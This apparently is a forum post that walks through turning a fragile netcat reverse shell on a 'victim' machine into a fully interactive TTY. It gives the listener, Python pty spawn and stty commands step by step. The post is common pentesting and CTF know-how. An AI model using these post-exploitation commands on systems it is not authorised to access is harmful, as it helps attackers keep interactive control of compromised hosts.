[VBQL]

I want to share with you a very quick and simple technique to turn your fragile netcat shell into a fully-featured shell, with tab completion, job control, and all.

I've seen this talked about on a couple blogs but it seems to not be a very well known trick so I wanted to share it.

You're probably already familiar with 'python -c 'import pty;pty.spawn("/bin/sh")'. This is good but it lacks many features that would make life easier.

Next time you get a shell with netcat, do the python trick or similar to get a tty, then use CTRL+Z to background it:

Code:

root@attacker:~# nc -lp 4444 python -c 'import pty;pty.spawn("/bin/bash");' user@victim:~$ ^Z [1]+ Stopped            nc -lp 4444 root@attacker:~#

Now get the information for the current shell:

Code:

root@attacker:~# echo $TERM xterm-256color root@attacker:~# stty -a speed 38400 baud; rows 24; columns 80; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0; -parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8 opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

All you need here is the term type "xterm-256color" and the window size "rows 24; columns 80".

Now set the current terminal type to "raw" and set it to echo input characters:

Code:

root@attacker:~# stty raw -echo

With stty as "raw" you will not see the commands and will have to type blindly for a second. Use 'fg' to bring the nc shell to the foreground. Once you're back in the nc shell use 'reset' to reset the terminal. It will look a little off.

After you've reset, define the terminal attributes in the netcat shell:

Code:

user@victim:~$ export SHELL=bash user@victim:~$ export TERM=xterm-256color user@victim:~$ stty rows 24 columns 80

That should be it.

Linked articles [Clearnet]
https://blog.ropnop.com/upgrading-simple...tive-ttys/
https://netsec.ws/?p=337
http://pentestmonkey.net/blog/post-explo...hout-a-tty